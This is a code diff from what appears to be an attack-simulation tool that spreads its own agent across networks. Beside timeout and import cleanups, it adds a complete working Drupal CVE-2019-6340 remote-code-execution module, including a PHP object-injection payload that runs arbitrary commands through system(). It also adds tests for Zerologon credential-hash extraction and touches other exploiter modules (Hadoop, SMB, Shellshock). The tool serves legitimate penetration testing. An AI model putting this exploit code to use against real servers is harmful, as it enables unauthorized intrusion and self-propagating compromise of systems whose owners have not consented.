timeout=MEDIUM_REQUEST_TIMEOUT) except Exception as exc: LOG.warning("Error connecting to control server %s: %s", @@ -192,7 +200,8 @@ class ControlClient(object): data=json.dumps({'config_error': True}), headers={'content-type': 'application/json'}, verify=False, - proxies=ControlClient.proxies) + proxies=ControlClient.proxies, + timeout=MEDIUM_REQUEST_TIMEOUT) except Exception as exc: LOG.warning("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) return {} @@ -253,7 +262,8 @@ class ControlClient(object): download = requests.get("https://%s/api/monkey/download/%s" % # noqa: DUO123 (WormConfiguration.current_server, filename), verify=False, - proxies=ControlClient.proxies) + proxies=ControlClient.proxies, + timeout=MEDIUM_REQUEST_TIMEOUT) with monkeyfs.open(dest_file, 'wb') as file_obj: for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK): @@ -279,7 +289,8 @@ class ControlClient(object): reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,), # noqa: DUO123 data=json.dumps(host_dict), headers={'content-type': 'application/json'}, - verify=False, proxies=ControlClient.proxies) + verify=False, proxies=ControlClient.proxies, + timeout=LONG_REQUEST_TIMEOUT) if 200 == reply.status_code: result_json = reply.json() filename = result_json.get('filename') @@ -321,7 +332,20 @@ class ControlClient(object): return requests.get(PBA_FILE_DOWNLOAD % # noqa: DUO123 (WormConfiguration.current_server, filename), verify=False, - proxies=ControlClient.proxies) + proxies=ControlClient.proxies, + timeout=LONG_REQUEST_TIMEOUT) + except requests.exceptions.RequestException: + return False + + @staticmethod + def get_T1216_pba_file(): + try: + return requests.get(urljoin(f"https://{WormConfiguration.current_server}/", # noqa: DUO123 + T1216_PBA_FILE_DOWNLOAD_PATH), + verify=False, + proxies=ControlClient.proxies, + stream=True, + timeout=MEDIUM_REQUEST_TIMEOUT) except requests.exceptions.RequestException: return False @@ -339,7 +363,7 @@ class ControlClient(object): def can_island_see_port(port): try: url = f"https://{WormConfiguration.current_server}/api/monkey_control/check_remote_port/{port}" - response = requests.get(url, verify=False) + response = requests.get(url, verify=False, timeout=SHORT_REQUEST_TIMEOUT) response = json.loads(response.content.decode()) return response['status'] == "port_visible" except requests.exceptions.RequestException: @@ -349,4 +373,5 @@ class ControlClient(object): def report_start_on_island(): requests.post(f"https://{WormConfiguration.current_server}/api/monkey_control/started_on_island", data=json.dumps({'started_on_island': True}), - verify=False) + verify=False, + timeout=MEDIUM_REQUEST_TIMEOUT) diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index 53aaf6c99..9b374c9f1 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -12,11 +12,8 @@ from ctypes import c_char_p from common.utils.attack_utils import ScanStatus, UsageEnum from infection_monkey.config import WormConfiguration -from infection_monkey.exploit.tools.helpers import \ - build_monkey_commandline_explicitly -from infection_monkey.model import (GENERAL_CMDLINE_LINUX, - MONKEY_CMDLINE_LINUX, - MONKEY_CMDLINE_WINDOWS) +from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly +from infection_monkey.model import GENERAL_CMDLINE_LINUX, MONKEY_CMDLINE_LINUX, MONKEY_CMDLINE_WINDOWS from infection_monkey.system_info import OperatingSystem, SystemInfoCollector from infection_monkey.telemetry.attack.t1106_telem import T1106Telem @@ -137,7 +134,9 @@ class MonkeyDrops(object): 'monkey_commandline': inner_monkey_cmdline} monkey_process = subprocess.Popen(monkey_cmdline, shell=True, - stdin=None, stdout=None, stderr=None, + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, close_fds=True, creationflags=DETACHED_PROCESS) LOG.info("Executed monkey process (PID=%d) with command line: %s", @@ -148,6 +147,8 @@ class MonkeyDrops(object): LOG.warning("Seems like monkey died too soon") def cleanup(self): + LOG.info("Cleaning up the dropper") + try: if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \ os.path.exists(self._config['source_path']) and \ @@ -169,5 +170,7 @@ class MonkeyDrops(object): LOG.debug("Dropper source file '%s' is marked for deletion on next boot", self._config['source_path']) T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_WINAPI).send() + + LOG.info("Dropper cleanup complete") except AttributeError: LOG.error("Invalid configuration options. Failing") diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index e0d35c5c4..59d593b09 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -1,7 +1,9 @@ +import logging from abc import abstractmethod from datetime import datetime import infection_monkey.exploit +from common.utils.exceptions import FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.config import WormConfiguration from infection_monkey.utils.plugins.plugin import Plugin @@ -9,6 +11,9 @@ from infection_monkey.utils.plugins.plugin import Plugin __author__ = 'itamar' +logger = logging.getLogger(__name__) + + class HostExploiter(Plugin): @staticmethod def should_run(class_name): @@ -31,6 +36,11 @@ class HostExploiter(Plugin): # Usual values are 'vulnerability' or 'brute_force' EXPLOIT_TYPE = ExploitType.VULNERABILITY + # Determines if successful exploitation should stop further exploit attempts on that machine. + # Generally, should be True for RCE type exploiters and False if we don't expect the exploiter to run the monkey agent. + # Example: Zerologon steals credentials + RUNS_AGENT_ON_SUCCESS = True + @property @abstractmethod def _EXPLOITED_SERVICE(self): @@ -66,8 +76,13 @@ class HostExploiter(Plugin): def exploit_host(self): self.pre_exploit() + result = None try: result = self._exploit_host() + except FailedExploitationError as e: + logger.debug(f'Exploiter failed: {e}.') + except Exception: + logger.error('Exception in exploit_host', exc_info=True) finally: self.post_exploit() return result @@ -94,4 +109,5 @@ class HostExploiter(Plugin): :param cmd: String of executed command. e.g. 'echo Example' """ powershell = True if "powershell" in cmd.lower() else False - self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell}) + self.exploit_info['executed_cmds'].append( + {'cmd': cmd, 'powershell': powershell}) diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py new file mode 100644 index 000000000..04b0ce431 --- /dev/null +++ b/monkey/infection_monkey/exploit/drupal.py @@ -0,0 +1,198 @@ +""" +Remote Code Execution on Drupal server - CVE-2019-6340 +Implementation is based on: + https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a. +""" + +import logging +from urllib.parse import urljoin + +import requests + +from common.common_consts.timeouts import (LONG_REQUEST_TIMEOUT, + MEDIUM_REQUEST_TIMEOUT) +from common.network.network_utils import remove_port +from infection_monkey.exploit.web_rce import WebRCE +from infection_monkey.model import ID_STRING + +__author__ = 'Ophir Harpaz' + +LOG = logging.getLogger(__name__) + + +class DrupalExploiter(WebRCE): + _TARGET_OS_TYPE = ['linux', 'windows'] + _EXPLOITED_SERVICE = 'Drupal Server' + + def __init__(self, host): + super(DrupalExploiter, self).__init__(host) + + def get_exploit_config(self): + """ + We override this function because the exploits requires a special extension in the URL, "node", + e.g. an exploited URL would be http://172.1.2.3:/node/3. + :return: the Drupal exploit config + """ + exploit_config = super(DrupalExploiter, self).get_exploit_config() + exploit_config['url_extensions'] = ['node/', # In Linux, no path is added + 'drupal/node/'] # However, Bitnami installations are under /drupal + exploit_config['dropper'] = True + return exploit_config + + def add_vulnerable_urls(self, potential_urls, stop_checking=False): + """ + We need a specific implementation of this function in order to add the URLs *with the node IDs*. + We therefore check, for every potential URL, all possible node IDs. + :param potential_urls: Potentially-vulnerable URLs + :param stop_checking: Stop if one vulnerable URL is found + :return: None (in-place addition) + """ + for url in potential_urls: + try: + node_ids = find_exploitbale_article_ids(url) + if node_ids is None: + LOG.info('Could not find a Drupal node to attack') + continue + for node_id in node_ids: + node_url = urljoin(url, str(node_id)) + if self.check_if_exploitable(node_url): + self.add_vuln_url(url) # This is for report. Should be refactored in the future + self.vulnerable_urls.append(node_url) + if stop_checking: + break + except Exception as e: # We still don't know which errors to expect + LOG.error(f'url {url} failed in exploitability check: {e}') + if not self.vulnerable_urls: + LOG.info("No vulnerable urls found") + + def check_if_exploitable(self, url): + """ + Check if a certain URL is exploitable. + We use this specific implementation (and not simply run self.exploit) because this function does not "waste" + a vulnerable URL. Namely, we're not actually exploiting, merely checking using a heuristic. + :param url: Drupal's URL and port + :return: Vulnerable URL if exploitable, otherwise False + """ + payload = build_exploitability_check_payload(url) + + response = requests.get(f'{url}?_format=hal_json', # noqa: DUO123 + json=payload, + headers={"Content-Type": "application/hal+json"}, + verify=False, + timeout=MEDIUM_REQUEST_TIMEOUT) + + if is_response_cached(response): + LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring') + return False + + return 'INVALID_VALUE does not correspond to an entity on this site' in response.text + + def exploit(self, url, command): + # pad a easy search replace output: + cmd = f'echo {ID_STRING} && {command}' + base = remove_port(url) + payload = build_cmd_execution_payload(base, cmd) + + r = requests.get(f'{url}?_format=hal_json', # noqa: DUO123 + json=payload, + headers={"Content-Type": "application/hal+json"}, + verify=False, + timeout=LONG_REQUEST_TIMEOUT) + + if is_response_cached(r): + LOG.info(f'Exploiting {url} returned cache HIT, may have failed') + + if ID_STRING not in r.text: + LOG.warning('Command execution _may_ have failed') + + result = r.text.split(ID_STRING)[-1] + return result + + def get_target_url(self): + """ + We're overriding this method such that every time self.exploit is invoked, we use a fresh vulnerable URL. + Reusing the same URL eliminates its exploitability because of caching reasons :) + :return: vulnerable URL to exploit + """ + return self.vulnerable_urls.pop() + + def are_vulnerable_urls_sufficient(self): + """ + For the Drupal exploit, 5 distinct URLs are needed to perform the full attack. + :return: Whether the list of vulnerable URLs has at least 5 elements. + """ + # We need 5 URLs for a "full-chain": check remote files, check architecture, drop monkey, chmod it and run it. + num_urls_needed_for_full_exploit = 5 + num_available_urls = len(self.vulnerable_urls) + result = num_available_urls >= num_urls_needed_for_full_exploit + if not result: + LOG.info(f'{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a Drupal server ' + f'but only {num_available_urls} found') + return result + + +def is_response_cached(r: requests.Response) -> bool: + """ Check if a response had the cache header. """ + return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT' + + +def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100) -> set: + """ Find target articles that do not 404 and are not cached """ + articles = set() + while lower < upper: + node_url = urljoin(base_url, str(lower)) + response = requests.get(node_url, + verify=False, + timeout=LONG_REQUEST_TIMEOUT) # noqa: DUO123 + if response.status_code == 200: + if is_response_cached(response): + LOG.info(f'Found a cached article at: {node_url}, skipping') + else: + articles.add(lower) + lower += 1 + return articles + + +def build_exploitability_check_payload(url): + payload = { + "_links": { + "type": { + "href": f"{urljoin(url, '/rest/type/node/INVALID_VALUE')}" + } + }, + "type": { + "target_id": "article" + }, + "title": { + "value": "My Article" + }, + "body": { + "value": "" + } + } + return payload + + +def build_cmd_execution_payload(base, cmd): + payload = { + "link": [ + { + "value": "link", + "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000" + "GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"" + "close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:" + "{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";" + "s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000" + "stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000" + "GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"" + "resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" + "".replace('|size|', str(len(cmd))).replace('|command|', cmd) + } + ], + "_links": { + "type": { + "href": f"{urljoin(base, '/rest/type/shortcut/default')}" + } + } + } + return payload diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index fff71024d..dfaffac6a 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -10,11 +10,10 @@ import re import requests -from common.data.network_consts import ES_SERVICE +from common.common_consts.network_consts import ES_SERVICE from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.model import (BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, - CMD_PREFIX, DOWNLOAD_TIMEOUT, ID_STRING, +from infection_monkey.model import (BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, CMD_PREFIX, DOWNLOAD_TIMEOUT, ID_STRING, WGET_HTTP_UPLOAD) from infection_monkey.network.elasticfinger import ES_PORT from infection_monkey.telemetry.attack.t1197_telem import T1197Telem diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 632d968d4..36da16379 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -11,13 +11,11 @@ import string import requests -from infection_monkey.exploit.tools.helpers import (build_monkey_commandline, - get_monkey_depth) +from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.model import (HADOOP_LINUX_COMMAND, - HADOOP_WINDOWS_COMMAND, ID_STRING, - MONKEY_ARG) +from infection_monkey.model import HADOOP_LINUX_COMMAND, HADOOP_WINDOWS_COMMAND, ID_STRING, MONKEY_ARG __author__ = 'VakarisZ' @@ -59,18 +57,20 @@ class HadoopExploiter(WebRCE): def exploit(self, url, command): # Get the newly created application id - resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application")) + resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"), + timeout=LONG_REQUEST_TIMEOUT) resp = json.loads(resp.content) app_id = resp['application-id'] # Create a random name for our application in YARN rand_name = ID_STRING + "".join([random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)]) payload = self.build_payload(app_id, rand_name, command) - resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload) + resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT) return resp.status_code == 202 def check_if_exploitable(self, url): try: - resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application")) + resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"), + timeout=LONG_REQUEST_TIMEOUT) except requests.ConnectionError: return False return resp.status_code == 200 diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 6bff6aced..c51acc3b8 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -5,13 +5,10 @@ from time import sleep import pymssql -from common.utils.exceptions import (ExploitingVulnerableMachineError, - FailedExploitationError) +from common.utils.exceptions import ExploitingVulnerableMachineError, FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import (build_monkey_commandline, - get_monkey_depth, - get_monkey_dest_path) +from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_monkey_dest_path from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload from infection_monkey.model import DROPPER_ARG diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index b61f32ef1..797ff6633 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -8,23 +8,17 @@ from io import BytesIO import impacket.smbconnection from impacket.nmb import NetBIOSError from impacket.nt_errors import STATUS_SUCCESS -from impacket.smb import (FILE_DIRECTORY_FILE, FILE_NON_DIRECTORY_FILE, - FILE_OPEN, FILE_READ_DATA, FILE_SHARE_READ, - FILE_WRITE_DATA, SMB, SMB_DIALECT, SessionError, - SMBCommand, SMBNtCreateAndX_Data, +from impacket.smb import (FILE_DIRECTORY_FILE, FILE_NON_DIRECTORY_FILE, FILE_OPEN, FILE_READ_DATA, FILE_SHARE_READ, + FILE_WRITE_DATA, SMB, SMB_DIALECT, SessionError, SMBCommand, SMBNtCreateAndX_Data, SMBNtCreateAndX_Parameters) -from impacket.smb3structs import (SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, - SMB2_IL_IMPERSONATION, - SMB2_OPLOCK_LEVEL_NONE, SMB2Create, - SMB2Create_Response, SMB2Packet) +from impacket.smb3structs import (SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2_IL_IMPERSONATION, SMB2_OPLOCK_LEVEL_NONE, + SMB2Create, SMB2Create_Response, SMB2Packet) from impacket.smbconnection import SMBConnection import infection_monkey.monkeyfs as monkeyfs from common.utils.attack_utils import ScanStatus from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import (build_monkey_commandline, - get_monkey_depth, - get_target_monkey_by_os) +from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey_by_os from infection_monkey.model import DROPPER_ARG from infection_monkey.network.smbfinger import SMB_SERVICE from infection_monkey.network.tools import get_interface_to_target diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index f9548b6bf..4caa7441f 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -9,9 +9,7 @@ import requests from common.utils.attack_utils import ScanStatus from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.shellshock_resources import CGI_FILES -from infection_monkey.exploit.tools.helpers import (build_monkey_commandline, - get_monkey_depth, - get_target_monkey) +from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.model import DROPPER_ARG from infection_monkey.telemetry.attack.t1222_telem import T1222Telem @@ -228,7 +226,6 @@ class ShellShockExploiter(HostExploiter): Checks if which urls exist :return: Sequence of URLs to try and attack """ - import requests attack_path = 'http://' if is_https: attack_path = 'https://' diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 153f64ac7..a9776136b 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -1,18 +1,13 @@ from logging import getLogger from impacket.dcerpc.v5 import scmr, transport -from impacket.smbconnection import SMB_DIALECT from common.utils.attack_utils import ScanStatus, UsageEnum from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import (build_monkey_commandline, - get_monkey_depth, - get_target_monkey) +from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.smb_tools import SmbTools -from infection_monkey.model import (DROPPER_CMDLINE_DETACHED_WINDOWS, - MONKEY_CMDLINE_DETACHED_WINDOWS, - VictimHost) +from infection_monkey.model import DROPPER_CMDLINE_DETACHED_WINDOWS, MONKEY_CMDLINE_DETACHED_WINDOWS, VictimHost from infection_monkey.network.smbfinger import SMBFinger from infection_monkey.network.tools import check_tcp_port from infection_monkey.telemetry.attack.t1035_telem import T1035Telem @@ -104,7 +99,7 @@ class SmbExploiter(HostExploiter): LOG.debug("Exploiter SmbExec is giving up...") return False - self.set_vulnerable_port(self.host) + self.set_vulnerable_port() # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \ @@ -121,8 +116,7 @@ class SmbExploiter(HostExploiter): for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values(): rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,)) rpctransport.set_dport(port) - if hasattr(rpctransport, 'preferred_dialect'): - rpctransport.preferred_dialect(SMB_DIALECT) + rpctransport.setRemoteHost(self.host.ip_addr) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(user, password, '', lm_hash, ntlm_hash, None) @@ -168,7 +162,7 @@ class SmbExploiter(HostExploiter): SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1])) return True - def set_vulnerable_port(self, host: VictimHost): + def set_vulnerable_port(self): if 'tcp-445' in self.host.services: self.vulnerable_port = "445" elif 'tcp-139' in self.host.services: diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index cff86dbfb..b96a6c2b6 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -9,12 +9,9 @@ from common.utils.attack_utils import ScanStatus from common.utils.exceptions import FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import (build_monkey_commandline, - get_monkey_depth, - get_target_monkey) +from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey from infection_monkey.model import MONKEY_ARG -from infection_monkey.network.tools import (check_tcp_port, - get_interface_to_target) +from infection_monkey.network.tools import check_tcp_port, get_interface_to_target from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem diff --git a/monkey/infection_monkey/exploit/tests/test_zerologon.py b/monkey/infection_monkey/exploit/tests/test_zerologon.py new file mode 100644 index 000000000..efc8a75e2 --- /dev/null +++ b/monkey/infection_monkey/exploit/tests/test_zerologon.py @@ -0,0 +1,94 @@ +import pytest + +from infection_monkey.exploit.zerologon import ZerologonExploiter +from infection_monkey.model.host import VictimHost + + +DOMAIN_NAME = "domain-name" +IP = "0.0.0.0" +NETBIOS_NAME = "NetBIOS Name" + +USERS = ["Administrator", "Bob"] +RIDS = ["500", "1024"] +LM_HASHES = ["abc123", "098zyx"] +NT_HASHES = ["def456", "765vut"] + + +@pytest.fixture +def zerologon_exploiter_object(monkeypatch): + def mock_report_login_attempt(**kwargs): + return None + + host = VictimHost(IP, DOMAIN_NAME) + obj = ZerologonExploiter(host) + monkeypatch.setattr(obj, "dc_name", NETBIOS_NAME, raising=False) + monkeypatch.setattr(obj, "report_login_attempt", mock_report_login_attempt) + return obj + + +def test_assess_exploit_attempt_result_no_error(zerologon_exploiter_object): + dummy_exploit_attempt_result = {"ErrorCode": 0} + assert zerologon_exploiter_object.assess_exploit_attempt_result( + dummy_exploit_attempt_result + ) + + +def test_assess_exploit_attempt_result_with_error(zerologon_exploiter_object): + dummy_exploit_attempt_result = {"ErrorCode": 1} + assert not zerologon_exploiter_object.assess_exploit_attempt_result( + dummy_exploit_attempt_result + ) + + +def test_assess_restoration_attempt_result_restored(zerologon_exploiter_object): + dummy_restoration_attempt_result = object() + assert zerologon_exploiter_object.assess_restoration_attempt_result( + dummy_restoration_attempt_result + ) + + +def test_assess_restoration_attempt_result_not_restored(zerologon_exploiter_object): + dummy_restoration_attempt_result = False + assert not zerologon_exploiter_object.assess_restoration_attempt_result( + dummy_restoration_attempt_result + ) + + +def test__extract_user_creds_from_secrets_good_data(zerologon_exploiter_object): + mock_dumped_secrets = [ + f"{USERS[i]}:{RIDS[i]}:{LM_HASHES[i]}:{NT_HASHES[i]}:::" + for i in range(len(USERS)) + ] + expected_extracted_creds = { + USERS[0]: { + "RID": int(RIDS[0]), + "lm_hash": LM_HASHES[0], + "nt_hash": NT_HASHES[0], + }, + USERS[1]: { + "RID": int(RIDS[1]), + "lm_hash": LM_HASHES[1], + "nt_hash": NT_HASHES[1], + }, + } + assert ( + zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets) + is None + ) + assert zerologon_exploiter_object._extracted_creds == expected_extracted_creds + + +def test__extract_user_creds_from_secrets_bad_data(zerologon_exploiter_object): + mock_dumped_secrets = [ + f"{USERS[i]}:{RIDS[i]}:::{LM_HASHES[i]}:{NT_HASHES[i]}:::" + for i in range(len(USERS)) + ] + expected_extracted_creds = { + USERS[0]: {"RID": int(RIDS[0]), "lm_hash": "", "nt_hash": ""}, + USERS[1]: {"RID": int(RIDS[1]), "lm_hash": "", "nt_hash": ""}, + } + assert ( + zerologon_exploiter_object._extract_user_creds_from_secrets(mock_dumped_secrets) + is None + ) + assert zerologon_exploiter_object._extracted_creds == expected_extracted_creds diff --git a/monkey/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py b/monkey/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py new file mode 100644 index 000000000..ca598ce7c --- /dev/null +++ b/monkey/infection_monkey/exploit/tests/zerologon_utils/test_vuln_assessment.py @@ -0,0 +1,43 @@ +import pytest +from nmb.NetBIOS import NetBIOS + +from common.utils.exceptions import DomainControllerNameFetchError +from infection_monkey.exploit.zerologon_utils.vuln_assessment import \ + get_dc_details +from infection_monkey.model.host import VictimHost + + +DOMAIN_NAME = "domain-name" +IP = "0.0.0.0" + + +@pytest.fixture +def host(): + return VictimHost(IP, DOMAIN_NAME) + + +def _get_stub_queryIPForName(netbios_names): + def stub_queryIPForName(*args, **kwargs): + return netbios_names + return stub_queryIPForName + + +def test_get_dc_details_multiple_netbios_names(host, monkeypatch): + NETBIOS_NAMES = ["Name1", "Name2", "Name3"] + + stub_queryIPForName = _get_stub_queryIPForName(NETBIOS_NAMES) + monkeypatch.setattr(NetBIOS, "queryIPForName", stub_queryIPForName) + + dc_ip, dc_name, dc_handle = get_dc_details(host) + assert dc_ip == IP + assert dc_name == NETBIOS_NAMES[0] + assert dc_handle == f"\\\\{NETBIOS_NAMES[0]}" + + +def test_get_dc_details_no_netbios_names(host, monkeypatch): + NETBIOS_NAMES = [] + + stub_queryIPForName = _get_stub_queryIPForName(NETBIOS_NAMES) + monkeypatch.setattr(NetBIOS, "queryIPForName", stub_queryIPForName) + with pytest.raises(DomainControllerNameFetchError): + dc_ip, dc_name, dc_handle = get_dc_details(host) diff --git a/monkey/infection_monkey/exploit/tools/test_helpers.py b/monkey/infection_monkey/exploit/tools/test_helpers.py index deb16643b..5d7dd422d 100644 --- a/monkey/infection_monkey/exploit/tools/test_helpers.py +++ b/monkey/infection_monkey/exploit/tools/test_helpers.py @@ -1,7 +1,6 @@ import unittest -from infection_monkey.exploit.tools.helpers import \ - build_monkey_commandline_explicitly +from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly class TestHelpers(unittest.TestCase): diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index 8ecac35f1..f2e355802 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -10,12 +10,9 @@ from logging import getLogger from common.utils.attack_utils import ScanStatus from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import (build_monkey_commandline, - get_monkey_depth, - get_target_monkey) +from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.http_tools import HTTPTools -from infection_monkey.model import (CHMOD_MONKEY, DOWNLOAD_TIMEOUT, MONKEY_ARG, - RUN_MONKEY, WGET_HTTP_UPLOAD) +from infection_monkey.model import CHMOD_MONKEY, DOWNLOAD_TIMEOUT, MONKEY_ARG, RUN_MONKEY, WGET_HTTP_UPLOAD from infection_monkey.telemetry.attack.t1222_telem import T1222Telem LOG = getLogger(__name__) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 564f899f5..d12e4eaa9 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -5,16 +5,11 @@ from posixpath import join from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import (build_monkey_commandline, - get_monkey_depth, - get_target_monkey) +from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.http_tools import HTTPTools -from infection_monkey.model import (BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, - CHMOD_MONKEY, DOWNLOAD_TIMEOUT, - DROPPER_ARG, GET_ARCH_LINUX, - GET_ARCH_WINDOWS, ID_STRING, MONKEY_ARG, - POWERSHELL_HTTP_UPLOAD, RUN_MONKEY, - WGET_HTTP_UPLOAD) +from infection_monkey.model import (BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, CHMOD_MONKEY, DOWNLOAD_TIMEOUT, DROPPER_ARG, + GET_ARCH_LINUX, GET_ARCH_WINDOWS, ID_STRING, MONKEY_ARG, POWERSHELL_HTTP_UPLOAD, + RUN_MONKEY, WGET_HTTP_UPLOAD) from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service from infection_monkey.telemetry.attack.t1197_telem import T1197Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem @@ -56,7 +51,7 @@ class WebRCE(HostExploiter): Method that creates a dictionary of configuration values for exploit :return: configuration dict """ - exploit_config = dict() + exploit_config = {} # dropper: If true monkey will use dropper parameter that will detach monkey's process and try to copy # it's file to the default destination path. @@ -89,13 +84,13 @@ class WebRCE(HostExploiter): if not ports: return False # Get urls to try to exploit - urls = self.build_potential_urls(ports, exploit_config['url_extensions']) - self.add_vulnerable_urls(urls, exploit_config['stop_checking_urls']) + potential_urls = self.build_potential_urls(ports, exploit_config['url_extensions']) + 